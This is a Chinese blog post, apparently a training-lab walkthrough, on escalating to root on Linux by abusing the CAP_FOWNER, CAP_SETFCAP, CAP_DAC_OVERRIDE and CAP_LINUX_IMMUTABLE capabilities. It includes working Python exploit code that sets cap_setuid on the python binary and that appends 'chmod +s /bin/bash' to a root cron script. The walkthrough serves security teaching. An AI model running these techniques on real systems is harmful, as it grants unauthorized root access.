​Linux提权系列21: [训练营]利用linux能力漏洞4
2023-4-15 08:1:26 Author: 奶牛安全(查看原文) 阅读量:14 收藏


CAP_FOWNER

在本实验中,发现 python 解释器在有效集和允许集上都具有“cap_fowner能力

当程序以cap_fowner能力来运行,除了涉及cap_dac_read_searchcap_dac_override 能力的操作外,它可以绕过任何操作关于当前id和文件属主id的权限检查。涉及的系统调用有chmodutime

如果任何可以调用 chmod 系统调用的程序具有此能力,则可能导致直接权限提升。只需要做的就是在 /etc/passwd 文件上设置读写权限

现在文件是全局可写的,可以使用当前用户使用 vim/etc/passwd 文件中更改根用户的密码。稍后su -l root

CAP_SETFCAP

在本实验中,发现 python 解释器在有效集和允许集都具有“cap_setfcap”能力

当有效集有cap_setfcap能力的程序运行,可以对任何文件设置任何能力。这可以接管整个系统,因为使用它可以对一个调用了setuid的程序设置cap_setuid能力,从而获得一个特权shell

exploit.py:

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + " was successfully added to " + path)

在这种情况下,将在 python 解释器上设置此能力libc 中的 cap_set_file 函数只接受实际文件的路径。因此,如果提供符号链接的路径,它将引发错误

由于 python 二进制文件现在具有 cap_setuid 能力,可以执行 os.setuid 函数并生成 root 用户 shell 和读取保护文件

CAP_DAC_OVERRIDE 3

在上一篇,已经详细讨论了 cap_dac_override 能力。它允许对任何文件执行读/写操作和目录的执行权限。在本实验中,发现了一个具有此能力的有趣程序。

这个程序是一个链接器——x86_64-linux-gnu-ld.bfd

可以通过欺骗链接器,让它认为输入文件是编译器的二进制输出,从而读取文件内容。

上述命令的解释如下

  • -r 生成可重新分配的输出,否则,链接器将无法找到 _start 部分。这个标志是可选的
  • -b binary 告诉链接器将输入文件视为汇编器的二进制输出。这是必需的,如果省略它,链接器会将输入文件视为脚本
  • /root/flag 输入文件
  • -o flag.o 输出文件

CAP_LINUX_IMMUTABLE

在本实验中,发现 python 解释器在有效集和特权集中都具有 cap_linux_immutable能力

通常,当前用户拥有的或全局可写的所有文件都可以被用户删除或修改。但在某些情况下,为防止文件被意外删除,建议将该文件设为不可变。这意味着即使拥有一个文件,也不能删除它或更新它的内容,但可以毫无问题地读取该文件。要设置或取消设置此标志,需要通过 root 用户运行 chattr 命令。

但是,如果有效集有 cap_linux_immutable 能力的程序运行,可以修改不可变文件的内容

看到有一个名为 backup.sh 的文件,并且在定时任务 中以 root 身份每分钟运行一次。

无法直接更新文件内容,因为文件是不可变的, 而且好像无法取消不可变设置。

由于 python 具有更改不可变文件内容的文件能力,因此编写如下代码

import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/home/student/backup.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/home/student/backup.sh",'a+')
f.write('chmod +s /bin/bash\n')
f.close()

这将在 /bin/bash 文件上设置 suid 位,使用 /bin/bash -p 标志获得特权 shell

/home/student/backup.sh 上运行漏洞利用代码后,能够在 backup.sh 文件中附加恶意代码

当定时任务下一分钟执行时,就可以拿到shell


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489161&idx=1&sn=fced6c7d29379e7d41e6b90330e337d6&chksm=fdf97d9cca8ef48a03e6a0d99a609eae0c62d9f9fbd0c665623335c5b5c305c084b98f84e76e#rd
如有侵权请联系:admin#unsafe.sh